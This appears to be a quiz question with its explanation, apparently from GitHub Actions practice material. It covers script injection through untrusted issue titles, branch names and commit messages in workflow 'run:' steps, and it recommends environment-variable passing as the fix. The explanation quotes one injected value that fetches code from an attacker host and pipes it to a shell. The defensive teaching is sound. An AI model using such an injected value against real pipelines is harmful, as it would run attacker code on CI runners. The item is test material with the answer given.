Which workflow best practice reduces the risk of injection attacks through untrusted user input in 'run:' steps?
Select an answer to reveal the explanation.
Short Explanation and Infographic
Environment variable injection is the safe lane — it prevents shell metacharacters in user input from being interpreted as commands.
Full explanation below image
Full Explanation
Script injection vulnerabilities occur when untrusted data (like issue titles, PR branch names, or commit messages) is directly interpolated into 'run:' scripts using '${{ }}' expressions. A malicious value like 'a; curl attacker.com | bash' could execute arbitrary commands. The safe pattern is to pass the value through an environment variable ('env: TITLE: ${{ github.event.issue.title }}') and reference it as '$TITLE' in the shell, where the shell treats it as data, not code. Environment variables are not subject to shell interpretation. Disabling fork PRs is too restrictive. PAT vs GITHUB_TOKEN is an authentication concern, not injection.